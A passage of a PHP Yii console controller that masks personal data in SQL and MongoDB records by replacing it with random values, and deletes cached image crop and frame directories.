                    'purchaser_apartment_number' => $address['apartment_number'],
                    'purchaser_postcode' => $address['postcode'],
                    'purchaser_locality' => $address['locality'],
                    'purchaser_id_country' => 'PL',
                    'purchaser_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'purchaser_forename' => $forename, 
                    'purchaser_surname' => $surname,
                    'purchaser_email' => $this->getRandomEmail(rand(10, 20)),
                    'purchaser_phone' => rand(100000000, 999999999),
                    'purchaser_other' => null
                ];
                Yii::$app->db->createCommand()->update('companies_orders', $fields, 'id_order = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_fair FROM fairs')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'street' => $address['street'],
                    'address_description' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'postcode' => $address['postcode'],
                    'locality' => $address['locality'],
                    'id_region' => $address['id_region'],
                    'id_country' => 'PL',
                    'contact_person' => $forename.' '.$surname, 
                    'email' => $this->getRandomEmail(rand(10, 20)),
                    'phone_1' => rand(100000000, 999999999),
                    'phone_2' => rand(100000000, 999999999),
                    'website' => 'http://'.$this->getRandomString(rand(8, 15)).'.com',
                    'url_register_form' => 'http://'.$this->getRandomString(rand(8, 15)).'.com',
                ];
                Yii::$app->db->createCommand()->update('fairs', $fields, 'id_fair = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_inquiry, id_company FROM inquiries')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'forename' => $forename,
                    'surname' => $surname,
                    'email_1' => $this->getRandomEmail(rand(10, 20)),
                    'phone_1' => rand(100000000, 999999999),
                    'id_country' => 'PL',
                    'region' => $address['region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'email_2' => $this->getRandomEmail(rand(10, 20)),
                    'phone_2' => rand(100000000, 999999999),
                    'fb' => 'http://'.$this->getRandomString(rand(8, 15)).'.com',
                    'skype' => $this->getRandomString(rand(8, 15))
                ];
                if(!empty($item['id_company'])) {
                    $fields['company_name'] = $forename.' '.$surname.' - company';
                    $fields['tax_id'] = rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999);
                    $fields['fax'] = rand(100000000, 999999999);
                    $fields['www'] = 'http://'.$this->getRandomString(rand(8, 15)).'.com';
                }
                Yii::$app->db->createCommand()->update('inquiries', ['sender_data' => json_encode($fields)], 'id_inquiry = :id', [':id' => $item['id_inquiry']])->execute();
            }
            unset($data);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_invoice, invoice_number FROM invoices')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $address = $this->getRandomAddress();
                $fields = [
                    'purchaser_street' => $address['street'],
                    'purchaser_address_cont' => null,
                    'purchaser_building_number' => $address['building_number'],
                    'purchaser_apartment_number' => $address['apartment_number'],
                    'purchaser_postcode' => $address['postcode'],
                    'purchaser_locality' => $address['locality'],
                    'purchaser_id_country' => 'PL',
                    'purchaser_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'annotations' => $this->loremIpsumLong,
                    'annotations_for_marketer' => $this->loremIpsumLong,
                    'annotations_for_editorship' => $this->loremIpsumLong,
                    'ksef_session_reference_number' => null,
                    'ksef_element_reference_number' => null,
                    'ksef_reference_number' => null,
                    'ksef_upo' => null
                ];
                if(!empty($item['invoice_number'])) {
                    $fields['invoice_number'] = $this->getRandomString(rand(8, 10));
                }
                Yii::$app->db->createCommand()->update('invoices', $fields, 'id_invoice = :id', [':id' => $item['id_invoice']])->execute();
            }
            unset($data);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_note, document_number FROM invoices_corrective_notes')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $address_1 = $this->getRandomAddress();
                $address_2 = $this->getRandomAddress();                
                $fields = [
                    'purchaser_street' => $address_1['street'],
                    'purchaser_address_cont' => null,
                    'purchaser_building_number' => $address_1['building_number'],
                    'purchaser_apartment_number' => $address_1['apartment_number'],
                    'purchaser_postcode' => $address_1['postcode'],
                    'purchaser_locality' => $address_1['locality'],
                    'purchaser_id_country' => 'PL',
                    'purchaser_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),                    
                    'recipient_street' => $address_2['street'],
                    'recipient_address_cont' => null,
                    'recipient_building_number' => $address_2['building_number'],
                    'recipient_apartment_number' => $address_2['apartment_number'],
                    'recipient_postcode' => $address_2['postcode'],
                    'recipient_locality' => $address_2['locality'],
                    'recipient_id_country' => 'PL',
                    'recipient_tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),                    
                    'content_incorrect' => $this->loremIpsumLong,
                    'content_correct' => $this->loremIpsumLong,
                ];
                if(!empty($item['document_number'])) {
                    $fields['document_number'] = $this->getRandomString(rand(8, 10));
                }
                Yii::$app->db->createCommand()->update('invoices_corrective_notes', $fields, 'id_note = :id', [':id' => $item['id_note']])->execute();
            }
            unset($data);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_reservation FROM mailings_reservations')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $fields = [
                    'client_test_emails' => [$this->getRandomEmail(rand(10, 20)), $this->getRandomEmail(rand(10, 20))]
                ];
                Yii::$app->db->createCommand()->update('mailings_reservations', $fields, 'id_reservation = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand('SELECT id_user, id_company FROM operators_has_companies')->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {     
                //@todo to '[]' nie działa potem w panelu
                Yii::$app->db->createCommand()->update('operators_has_companies', ['assigned_emails' => '[]'], 'id_user = :idUser AND id_company = :idCompany', [':idUser' => $item['id_user'], ':idCompany' => $item['id_company']])->execute();
            }
            unset($data);
        }        
        
        $ids = Yii::$app->db->createCommand('SELECT id_address FROM shopping_address_book')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'forename' => $forename,
                    'surname' => $surname,
                    'email' => $this->getRandomEmail(rand(10, 20)),
                    'phone' => rand(100000000, 999999999),
                    'id_country' => 'PL',
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                ];
                Yii::$app->db->createCommand()->update('shopping_address_book', $fields, 'id_address = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_data FROM shopping_data_to_account')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'id_country' => 'PL',
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                ];
                Yii::$app->db->createCommand()->update('shopping_data_to_account', $fields, 'id_data = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_training FROM trainings')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'contact_person_name' => $forename.' '.$surname, 
                    'contact_person_email' => $this->getRandomEmail(rand(10, 20)),
                    'contact_person_phone' => rand(100000000, 999999999),
                ];
                Yii::$app->db->createCommand()->update('trainings', $fields, 'id_training = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }        
        
        $ids = Yii::$app->db->createCommand('SELECT id_date FROM trainings_dates')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [                        
                    'id_country' => 'PL',
                    'id_region' => $address['id_region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_description' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng']
                ];
                Yii::$app->db->createCommand()->update('trainings_dates', $fields, 'id_date = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }        
        
        $ids = Yii::$app->db->createCommand("SELECT id_user FROM users WHERE profile IN ('".(\common\models\types\UserProfile::USER)."', '".(\common\models\types\UserProfile::COMPANY)."')")->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [                        
                    'login' => 'user_'.$id,
                    'forename' => $forename,
                    'surname' => $surname
                ];
                Yii::$app->db->createCommand()->update('users', $fields, 'id_user = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $data = Yii::$app->db->createCommand("SELECT users_contact_data.id_contact_data, users_contact_data.data_type FROM users_contact_data, users WHERE users.id_user = users_contact_data.id_user AND users.profile IN ('".(\common\models\types\UserProfile::USER)."', '".(\common\models\types\UserProfile::COMPANY)."')")->queryAll(); 
        if(!empty($data)) {
            foreach($data as $item) {
                $dataValue = $this->getRandomValueForContactDataType($item['data_type']);                
                Yii::$app->db->createCommand()->update('users_contact_data', ['data_value' => $dataValue], 'id_contact_data = :id', [':id' => $item['id_contact_data']])->execute();
            }
            unset($data);
        }
        
        $ids = Yii::$app->db->createCommand("SELECT users_addresses.id_address FROM users_addresses, users WHERE users.id_user = users_addresses.id_user AND users.profile IN ('".(\common\models\types\UserProfile::USER)."', '".(\common\models\types\UserProfile::COMPANY)."')")->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                $fields = [
                    'id_country' => 'PL',
                    'region' => $address['region'],
                    'locality' => $address['locality'],
                    'postcode' => $address['postcode'],
                    'street' => $address['street'],
                    'address_cont' => null,
                    'building_number' => $address['building_number'],
                    'apartment_number' => $address['apartment_number'],
                    'lat' => $address['lat'],
                    'lng' => $address['lng']
                ];
                Yii::$app->db->createCommand()->update('users_addresses', $fields, 'id_address = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        $ids = Yii::$app->db->createCommand('SELECT id_payment FROM users_payments')->queryColumn(); 
        if(!empty($ids)) {
            foreach($ids as $id) {
                $address = $this->getRandomAddress();
                list($forename, $surname) = $this->getRandomPerson();
                $fields = [
                    'purchaser_name' => $forename.' '.$surname,
                    'purchaser_address' => $address['street'].' '.$address['building_number'].'/'.$address['apartment_number'],
                    'purchaser_postcode' => $address['postcode'],
                    'purchaser_locality' => $address['locality'],
                    'purchaser_id_country' => 'PL',
                    'purchaser_email' => $this->getRandomEmail(rand(10, 20)),
                    'purchaser_phone' => rand(100000000, 999999999)
                ];
                Yii::$app->db->createCommand()->update('users_payments', $fields, 'id_payment = :id', [':id' => $id])->execute();
            }
            unset($ids);
        }
        
        var_dump('OK');
//        $transaction->rollBack();
        
        $transaction->commit();
    }
    
    public function actionMockupMongoDb()
    {
        $this->fillAddresses();
        
        /*
        + contractors (2x adres, email, telefon)
        + emails (email)
        + companies_contact_data_views (wartość danych wg typu)
        + companies_orders_archive (pole kupujący, imię i nazwisko, telefon, email)
        + companies_statistics_reports (usuwamy całą kolekcję - tam jest za dużo danych, aby to zamaskować)
         */
        
        $ids = (new \yii\mongodb\Query())->from('contractors')->select(['_id'])->column();
        if(!empty($ids)) {            
            foreach($ids as $id) {                
                $address_1 = $this->getRandomAddress();
                $address_2 = $this->getRandomAddress();
                Yii::$app->mongodb->getCollection('contractors')->update(['_id' => (string)$id], [
                    'street' => $address_1['street'],
                    'address_cont' => null,
                    'building_number' => $address_1['building_number'],
                    'apartment_number' => $address_1['apartment_number'],
                    'postcode' => $address_1['postcode'],
                    'locality' => $address_1['locality'],
                    'id_country' => 'PL',
                    'tax_id' => rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999),
                    'email' => $this->getRandomEmail(rand(10, 20)),
                    'phone' => rand(100000000, 999999999),
                    'correspondence_data_street' => $address_2['street'],
                    'correspondence_data_address_cont' => null, 
                    'correspondence_data_building_number' => $address_2['building_number'],
                    'correspondence_data_apartment_number' => $address_2['apartment_number'],
                    'correspondence_data_postcode' => $address_2['postcode'],
                    'correspondence_data_locality' => $address_2['locality'],
                    'correspondence_data_id_country' => 'PL'
                ]);
            }
        }
        
        $idsUsers = [];
        $documents = (new \yii\mongodb\Query())->from('emails')->select(['_id', 'id_user'])->where(['id_user' => ['$ne' => null]])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                $idsUsers[$id] = $id;                
            }
            
            foreach($idsUsers as $idUser) {
                \common\models\Emails::refreshForUser($idUser);
            }
        }
        
        $idsCompanies = [];
        $documents = (new \yii\mongodb\Query())->from('emails')->select(['_id', 'id_company'])->where(['id_company' => ['$ne' => null]])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_company'];
                $idsCompanies[$id] = $id;                
            }
            
            foreach($idsCompanies as $idCompany) {
                \common\models\Emails::refreshForCompany($idCompany);
            }
        }
        
        $documents = (new \yii\mongodb\Query())->from('emails')->select(['_id'])->where(['id_company' => null, 'id_user' => null])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                Yii::$app->mongodb->getCollection('emails')->update(['_id' => (string)$document['_id']], [
                    'email' => $this->getRandomEmail(rand(10, 20)),
                ]);
            }
        }
        
        //@todo to do przetestowania
        //companies_contact_data_views
        $processedCompanies = [];
        $documents = (new \yii\mongodb\Query())->from('companies_contact_data_views')->select(['_id', 'id_company', 'data_type', 'data_value'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $idCompany = (int)$document['id_company'];
                $hash = $idCompany.'|'.$document['data_type'].'|'.$document['data_value'];
                if(isset($processedCompanies[$hash])) {
                    $newDataValue = $processedCompanies[$hash];
                } else {
                    $newDataValue = $this->getRandomValueForContactDataType($document['data_type']);
                    $processedCompanies[$hash] = $newDataValue;
                }
                Yii::$app->mongodb->getCollection('companies_contact_data_views')->update(['_id' => (string)$document['_id']], [
                    'data_value' => $newDataValue,
                ]);
            }
        }
        unset($processedCompanies);
        
        //@todo to do przetestowania
        //companies_orders_archive
        $processedCompanies = [];
        $documents = (new \yii\mongodb\Query())->from('companies_orders_archive')->select(['_id', 'id_company', 'purchaser', 'purchaser_personal_data', 'purchaser_email', 'purchaser_phone'])->all();
        if(!empty($documents)) {     
            $companiesInvoicingData = [];
            $companiesInvoicingDataTemp = Yii::$app->db->createCommand('SELECT * FROM companies_invoicing_data')->queryAll(); 
            foreach($companiesInvoicingDataTemp as $companyInvoicingDataTemp) {
                $companiesInvoicingData[(int)$companyInvoicingDataTemp['id_company']] = $companyInvoicingDataTemp;
            }
            unset($companiesInvoicingDataTemp);
            
            $companiesData = [];
            $companiesDataTemp = Yii::$app->db->createCommand('SELECT * FROM companies')->queryAll(); 
            foreach($companiesDataTemp as $companyDataTemp) {
                $companiesData[(int)$companyDataTemp['id_company']] = $companyDataTemp;
            }
            unset($companiesDataTemp);
            
            $createdTaxIds = [];
            
            foreach($documents as $document) {
                $idCompany = (int)$document['id_company'];
                if(isset($processedCompanies[$idCompany])) {
                    $data = $processedCompanies[$idCompany];
                } else {
                    list($forename, $surname) = $this->getRandomPerson();                    
                    if(isset($companiesInvoicingData[$idCompany])) {
                        $company = $companiesInvoicingData[$idCompany];   
                        $purchaser = $company['name']."\r\n".' '.$company['street'].' '.$company['building_number'].(!empty($company['apartment_number']) ? '/'.$company['apartment_number'] : '').'; '.$company['postcode'].' '.$company['locality'].', NIP: '.$company['tax_id']; 
                    } else {
                        $company = $companiesData[$idCompany];                        
                        if(!isset($createdTaxIds[$idCompany])) {
                            $createdTaxIds[$idCompany] = rand(1000000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999);
                        }                        
                        $purchaser = $company['name']."\r\n".' '.$company['street'].' '.$company['building_number'].(!empty($company['apartment_number']) ? '/'.$company['apartment_number'] : '').'; '.$company['postcode'].' '.$company['locality'].', NIP: '.$createdTaxIds[$idCompany]; 
                    }                    
                    $data = [
                        'purchaser' => $purchaser,
                        'purchaser_personal_data' => $forename.' '.$surname,
                        'purchaser_email' => '',
                        'purchaser_phone' => '',
                    ];
                    $processedCompanies[$idCompany] = $data;
                }
                Yii::$app->mongodb->getCollection('companies_orders_archive')->update(['_id' => (string)$document['_id']], [
                    'purchaser' => $data['purchaser'],
                    'purchaser_personal_data' => $data['purchaser_personal_data'],
                    'purchaser_email' => $data['purchaser_email'],
                    'purchaser_phone' => $data['purchaser_phone'],
                ]);
            }
            unset($companiesInvoicingData);
            unset($companiesData);
        }
        unset($processedCompanies);
        
        
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase()->listCollections(), 'name');
        if(in_array('companies_statistics_reports', $existsCollections)) {
            Yii::$app->mongodb->getCollection('companies_statistics_reports')->drop();
        }
    }
    
    public function actionClearImagesCache()
    {        
        //\common\models\Advertisements
        //\common\models\AdvertisementsPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@advertisementsImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
//                        $this->removeDir($fileinfo_2->getRealPath(), true);
//                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\Articles
        //\common\models\ArticlesPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@articlesImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
////                        var_dump('usuwamy 1: '.$fileinfo_2->getRealPath()); 
//                        $this->removeDir($fileinfo_2->getRealPath(), true);
////                        exit;
//                    } elseif($fileinfo_2->getBasename() === Yii::getAlias('@articlesGalleriesImagesDirName')) {
//                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
//                        foreach($subSubDir as $fileinfo_3) {
//                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
//                                continue;
//                            }
//                            if($fileinfo_3->getBasename() === 'frame' || $fileinfo_3->getBasename() === 'crop') {
////                                var_dump('usuwamy 2: '.$fileinfo_3->getRealPath()); 
//                                $this->removeDir($fileinfo_3->getRealPath(), true);
////                                exit;
//                            }
//                        }
//                        unset($subSubDir, $fileinfo_3);
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\Books
        //\common\models\BooksPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@booksImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
////                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
//                        $this->removeDir($fileinfo_2->getRealPath(), true);
////                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\Companies
        //\common\models\CompaniesAwards
        //\common\models\CompaniesDownloads
        //\common\models\Products
        //\common\models\ProductsPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@companiesImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
////                        var_dump('usuwamy 1: '.$fileinfo_2->getRealPath()); 
////                        $this->removeDir($fileinfo_2->getRealPath(), true);
////                        exit;
//                    } elseif(in_array($fileinfo_2->getBasename(), [Yii::getAlias('@companiesAwardsDirName'), Yii::getAlias('@companiesDownloadsDirName')])) {
//                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
//                        foreach($subSubDir as $fileinfo_3) {
//                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
//                                continue;
//                            }
//                            if($fileinfo_3->getBasename() === 'frame' || $fileinfo_3->getBasename() === 'crop') {
////                                var_dump('usuwamy 2: '.$fileinfo_3->getRealPath()); 
////                                $this->removeDir($fileinfo_3->getRealPath(), true);
////                                exit;
//                            }
//                        }
//                        unset($subSubDir, $fileinfo_3);
//                    } elseif($fileinfo_2->getBasename() === Yii::getAlias('@companiesProductsDirName')) {
//                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
//                        foreach($subSubDir as $fileinfo_3) {
//                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
//                                continue;
//                            }
//                            $subSubSubDir = new \DirectoryIterator($fileinfo_3->getRealPath());
//                            foreach($subSubSubDir as $fileinfo_4) {
//                                if($fileinfo_4->isDot() | !$fileinfo_4->isDir()) {
//                                    continue;
//                                }
//                                if($fileinfo_4->getBasename() === 'frame' || $fileinfo_4->getBasename() === 'crop') {
////                                    var_dump('usuwamy 3: '.$fileinfo_4->getRealPath()); 
////                                    $this->removeDir($fileinfo_4->getRealPath(), true);
////                                    exit;
//                                }
//                            }
//                            unset($subSubSubDir, $fileinfo_4);                            
//                        }
//                        unset($subSubDir, $fileinfo_3); 
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\CompaniesPhotogalleriesPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@companiesPhotogalleriesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
////                        $this->removeDir($fileinfo_2->getRealPath(), true);
//                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\Fairs
        //\common\models\FairsPhotogalleriesPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@fairsImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
////                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
//                        $this->removeDir($fileinfo_2->getRealPath(), true);
////                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\FairsSeries
//        $this->removeDir(Yii::getAlias('@fairsSeriesImagesRealPath').'/frame/', true);
//        $this->removeDir(Yii::getAlias('@fairsSeriesImagesRealPath').'/crop/', true);

        //\common\models\Partners
//        $this->removeDir(Yii::getAlias('@partnersImagesRealPath').'/frame/', true);
//        $this->removeDir(Yii::getAlias('@partnersImagesRealPath').'/crop/', true);
    
        //\common\models\PublishingHouses
//        $this->removeDir(Yii::getAlias('@publishingHousesImagesRealPath').'/frame/', true);
//        $this->removeDir(Yii::getAlias('@publishingHousesImagesRealPath').'/crop/', true);
        
        //\common\models\Users
//        $dir = new \DirectoryIterator(Yii::getAlias('@usersImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
////                        $this->removeDir($fileinfo_2->getRealPath(), true);
//                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\Websites
        //\common\models\WebsitesItems
        //\common\models\WebsitesPhotos
//        $dir = new \DirectoryIterator(Yii::getAlias('@websitesImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
////                        $this->removeDir($fileinfo_2->getRealPath(), true);
//                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);
        
        //\common\models\WebsitesTemplates
        //\common\models\WebsitesTemplatesModularSubpages
        //\common\models\WebsitesTemplatesScreenshots
//        $dir = new \DirectoryIterator(Yii::getAlias('@websitesTemplatesImagesRealPath'));
//        foreach($dir as $fileinfo_1) {
//            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
//                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
//                foreach($subDir as $fileinfo_2) {
//                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
//                        continue;
//                    }
//                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        var_dump('usuwamy: '.$fileinfo_2->getRealPath()); 
////                        $this->removeDir($fileinfo_2->getRealPath(), true);
//                        exit;
//                    }
//                }   
//                unset($subDir, $fileinfo_2);
//            }
//        }
//        unset($dir, $fileinfo_1);    
        
    }
    
    public function actionClearImagesCacheNew()
    { 
//        $fp = fopen( Yii::getAlias('@runtime/temp/').'usuwane_pliki_graficzne_cache.txt', 'w');
        
        $directories = [
            Yii::getAlias('@advertisementsImagesRealPath'), //Advertisements, AdvertisementsPhotos
            Yii::getAlias('@booksImagesRealPath'), //Books, BooksPhotos
            Yii::getAlias('@companiesPhotogalleriesRealPath'), //CompaniesPhotogalleriesPhotos
            Yii::getAlias('@fairsImagesRealPath'), //Fairs, FairsPhotogalleriesPhotos
            Yii::getAlias('@usersImagesRealPath'), //Users
            Yii::getAlias('@websitesTemplatesImagesRealPath'), //WebsitesTemplates, WebsitesTemplatesModularSubpages, WebsitesTemplatesScreenshots
            Yii::getAlias('@websitesImagesRealPath'), //Websites, WebsitesItems, WebsitesPhotos
        ];        
        foreach($directories as $directory) {
            $dir = new \DirectoryIterator($directory);
            foreach($dir as $fileinfo_1) {
                if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
                    $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
                    foreach($subDir as $fileinfo_2) {
                        if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
                            continue;
                        }
                        if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                            fwrite($fp, $fileinfo_2->getRealPath()."\r\n");
                            $this->removeDir($fileinfo_2->getRealPath(), true);
                        }
                    }   
                    unset($subDir, $fileinfo_2);
                }
            }
            unset($dir, $fileinfo_1);
        }
        
        //Articles
        //ArticlesPhotos
        $dir = new \DirectoryIterator(Yii::getAlias('@articlesImagesRealPath'));
        foreach($dir as $fileinfo_1) {
            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
                foreach($subDir as $fileinfo_2) {
                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
                        continue;
                    }
                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        fwrite($fp, $fileinfo_2->getRealPath()."\r\n");
                        $this->removeDir($fileinfo_2->getRealPath(), true);
                    } elseif($fileinfo_2->getBasename() === Yii::getAlias('@articlesGalleriesImagesDirName')) {
